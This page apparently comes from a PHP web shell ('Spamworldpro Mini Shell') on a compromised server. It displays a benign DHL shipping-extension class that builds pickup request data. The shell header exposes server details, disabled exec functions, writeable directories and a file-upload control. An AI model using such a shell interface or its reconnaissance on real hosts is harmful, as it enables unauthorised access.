Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/extmag/dhlshipping2/Helper/Request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/extmag/dhlshipping2/Helper/Request/PickupCreation.php
<?php
/**
 * Copyright © Extmag. All rights reserved.
 *
 * Pickup - Package
 * JSON Developer Guide
 * July 09th, 2018
 */

namespace Extmag\DhlShipping\Helper\Request;

use Exception;

class PickupCreation extends Dhl
{
    /**
     * @var string
     */
    protected $requestType = 'PickupCreation';

    /**
     * @inheritDoc
     */
    public function formRequest()
    {
        $this->formHeaderRequest($this->requestType, $this->formNativeScheme());
    }

    /**
     * Form Native Scheme
     *
     * @return array
     * @throws Exception
     */
    public function formNativeScheme()
    {
        $addressRequestor = 'shipper_';
        $addressPlace = 'ship_from_';

        return [
            'Request' => $this->formDhlSecurity(false),
            'RegionCode' => null,
            'Requestor' => [
                'AccountType' => 'D',
                'AccountNumber' => $this->data['account_shipper_number'],
                'RequestorContact' => [
                    'PersonName' => $this->data[$addressRequestor . 'name'],
                    'Phone' => $this->data[$addressRequestor . 'phone'],
                    'PhoneExtension' => null,
                ],
                'CompanyName' => $this->data[$addressRequestor . 'company_name'],
                'Address1' => $this->data[$addressRequestor . 'street_1'],
                'Address2' => $this->data[$addressRequestor . 'street_2'] ?: null,
                'Address3' => $this->data[$addressRequestor . 'street_3'] ?: null,
                'City' => $this->data[$addressRequestor . 'city'],
                'CountryCode' => $this->data[$addressRequestor . 'country_code'],
                'DivisionName' => $regionName = $this->getRegionName(
                    $this->data[$addressRequestor . 'country_code'],
                    $this->data[$addressRequestor . 'state_code']
                ),
                'PostalCode' => $this->data[$addressRequestor . 'postal_code'],
            ],
            'Place' => [
                'LocationType' => ($this->data[$addressPlace . 'destination_type'] == 'residential' ? 'R' : 'B'),
                'CompanyName' => $this->data[$addressPlace . 'company_name'],
                'Address1' => $this->data[$addressPlace . 'street_1'],
                'Address2' => $this->data[$addressPlace . 'street_2'] ?: null,
                'Address3' => $this->data[$addressPlace . 'street_3'] ?: null,
                'PackageLocation' => $this->data[$addressPlace . 'pickup_point'] ?: 'Front Desk',
                'City' => $this->data[$addressPlace . 'city'],
                'StateCode' => $this->data[$addressPlace . 'state_code'] ?: null,
                'DivisionName' => $regionName = $this->getRegionName(
                    $this->data[$addressPlace . 'country_code'],
                    $this->data[$addressPlace . 'state_code']
                ),
                'CountryCode' => $this->data[$addressPlace . 'country_code'],
                'PostalCode' => $this->data[$addressPlace . 'postal_code'],
                'RouteCode' => null,
                'Suburb' => null,
            ],
            'Pickup' => [
                'PickupDate' => $this->data['pickup_date'],
                'PickupTypeCode' => 'S',
                'ReadyByTime' => $this->data['pickup_ready_time'],
                'CloseTime' => $this->data['pickup_close_time'],
                'AfterHoursClosingTime' => null,
                'AfterHoursLocation' => null,
                'Pieces' => $this->data['pickup_total_packages'],
                'RemotePickupFlag' => null,
                'weight' => [
                    'Weight' => $this->data['pickup_total_weight'],
                    'WeightUnit' => $this->data['unit_weight_for_shipper'] == 'LB' ? 'L' : 'K',
                ],
                'SpecialInstructions' => $this->data['pickup_special_instruction'] ?: null,
                'Remarks' => null,
            ],
            'PickupContact' => [
                'PersonName' => $this->data[$addressPlace . 'name'],
                'Phone' => $this->data[$addressPlace . 'phone'],
                'PhoneExtension' => null,
            ],
        ];
    }
}

Spamworldpro Mini